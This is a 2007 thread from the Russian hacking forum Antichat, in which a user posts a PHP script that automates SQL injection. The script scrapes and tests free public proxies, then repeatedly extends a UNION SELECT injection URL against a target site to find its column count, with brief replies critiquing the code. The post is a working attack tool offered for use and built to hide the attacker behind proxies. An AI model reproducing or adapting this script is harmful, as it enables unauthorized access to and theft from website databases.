ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

скрипт подбора колонок на php
  #1  
Старый 07.02.2007, 20:22
Аватар для fod
fod
Новичок
Регистрация: 06.02.2007
Сообщений: 11
Провел на форуме:
77872

Репутация: 23
По умолчанию скрипт подбора колонок на php

Очень простой скрипт для автоматизации подбора.
Советы, пожелания... ?

Использование простое, вставляем найденную скуль, вставляем, что искать в контенте и количесво колонок на перебор.


PHP код:
<html>
<body>
<style>
body {font-family: verdana;}
div.text {width: 600px; border: 1px dashed red; padding: 10px; text-align: left;}
div.results {width: 600px; border: 1px dashed #27B158; padding: 10px; text-align: left;}
._text {width: 100%; font-family: Verdana;}
._submit {font-family: verdana; font-weight: bold;}
</style>
<div align="center">
<div class="results">

</div>
<br />
<div class="text">
<b>Подбор количества столбцов.</b><br /><br />
<form name="sql_injection" action="" method="post">
URL: <input class="_text" name="url" type="text" value="<?=(isset($_POST['url']))?$_POST['url']:'http://www.example.com/sql.php?id=-1+union+select+1/*'?>"><br /><br />
Искать в контенте текст:<br />
<input class="_text" name="text" type="text" value="<?=(isset($_POST['text']))?$_POST['text']:'SELECT statements'?>"><br />
<input name="type" type="radio" value="-"<?=((isset($_POST['type']) AND $_POST['type']=='-') OR !isset($_POST['type']))?' checked':''?>> пока не пропадет.<br />
<input name="type" type="radio" value="+"<?=(isset($_POST['type']) AND $_POST['type']=='+')?' checked':''?>> пока не появится. <br /><br />
Максимальное количество столбцов.<br />
<input class="_text" name="columns" type="text" value="<?=(isset($_POST['columns']))?$_POST['columns']:100?>"><br /><br />
<input class="_submit" type="submit" name="submit" value="Подбор!">
</form>
</div>
</div>
</body>
</html>
<pre>
<?php
set_time_limit
(0);

function 
parse_for_proxy()
{
        
$html file_get_contents("http://www.proxy4free.com/page1.html");
        
preg_match_all("#<td>(\d+\.\d+\.\d+\.\d+)<\/td>\s*<td>(\d+)<\/td>#s"$html$m);

        for (
$i=0$i<sizeof($m[1]); $i++)
        {
                
$proxies[] = $m[1][$i] . ':' $m[2][$i];
        }
        
shuffle($proxies);
        return 
$proxies;
}

function 
check_proxy($prx)
{
        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL'http://www.msn.com/');
        
curl_setopt($chCURLOPT_PROXY$prx);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_HEADER1);
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT30);

        
$data curl_exec ($ch);
        
curl_close($ch);

        if (
$data !== false AND preg_match('#HTTP\/1\.\d+ 200#',$data))
        {
                return 
true;
        }
        else
        {
                return 
false;
        }
}


function 
http_get_contents($url$prx$timeout=7)
{
        
$ch curl_init();

        
curl_setopt($chCURLOPT_URL$url);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);

        
curl_setopt($chCURLOPT_USERAGENT"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)");

        
curl_setopt($chCURLOPT_PROXY$prx);

        
curl_setopt($chCURLOPT_VERBOSE0);// показывать вывод
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
        
curl_setopt($chCURLOPT_TIMEOUT$timeout);
        
curl_setopt($chCURLOPT_NOSIGNALfalse);

        
$data curl_exec ($ch);

        
/*
        $inf = curl_getinfo($ch);
        $error = curl_error($ch);
        $errno = curl_errno($ch);
        */

        
curl_close($ch);

        return 
$data;
}

if (isset(
$_POST['submit']))
{
        
$proxies parse_for_proxy();
        for (
$i 0$i sizeof($proxies); $i++)
        {
                if (
check_proxy($proxies[$i]))
                {
                        
$proxy $proxies[$i];
                        echo 
'Прокся: ' $proxies[$i] . "\n";
                        break;
                }
                else
                {
                        
$proxy false;
                }
        }

        if(
$proxy == false)
        {
                echo 
'Нет живых proxy.';
                exit;
        }

        if (
get_magic_quotes_gpc())
        {
                foreach(
$_POST as $k => $v)
                {
                        
$_POST[$k] = stripslashes($v);
                }
        }

        
$_POST['text'] = trim($_POST['text']);
        
$_POST['url'] = trim($_POST['url']);
        
$comments substr($_POST['url'], -2);
        
$url substr($_POST['url'], 0, -2);

        
$_POST['columns'] = ceil($_POST['columns'] * 1);

        for (
$i 2$i <= $_POST['columns']; $i++)
        {
                
$url .= "," $i;
                echo 
$url $comments ."\n";
                
flush();

                
$html http_get_contents($url $comments$proxy);

                if(
$html == false)
                {
                        echo 
"Трабл с коннектом.";
                        exit;
                }

                
$searching strpos($html$_POST['text']);

                
var_dump($searching);

                if(
$_POST['type'] == '-' AND $searching === false)
                {
                        break;
                }
                elseif(
$_POST['type'] == '+' AND $searching)
                {
                        break;
                }
        }
}
?>
 
Ответить с цитированием

  #2  
Старый 07.02.2007, 21:12
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Нуу это не дело. А если на сервере курла нету?
 
Ответить с цитированием

  #3  
Старый 07.02.2007, 21:18
Аватар для Iceangel_
Iceangel_
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206

Репутация: 1861


По умолчанию

Ничего... Пригодится...
 
Ответить с цитированием

  #4  
Старый 07.02.2007, 21:31
Аватар для fod
fod
Новичок
Регистрация: 06.02.2007
Сообщений: 11
Провел на форуме:
77872

Репутация: 23
По умолчанию

Цитата:
Нуу это не дело. А если на сервере курла нету?
да, это минус. будет время, через сокеты переделаю...
 
Ответить с цитированием

  #5  
Старый 07.02.2007, 23:38
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Корявая реализация.
 
Ответить с цитированием

  #6  
Старый 08.02.2007, 00:09
Аватар для fod
fod
Новичок
Регистрация: 06.02.2007
Сообщений: 11
Провел на форуме:
77872

Репутация: 23
По умолчанию

Цитата:
Корявая реализация.
Был бы очень признателен, если б ткнули в кривизну.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Books PSalm69 Избранное 248 27.10.2009 04:52
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ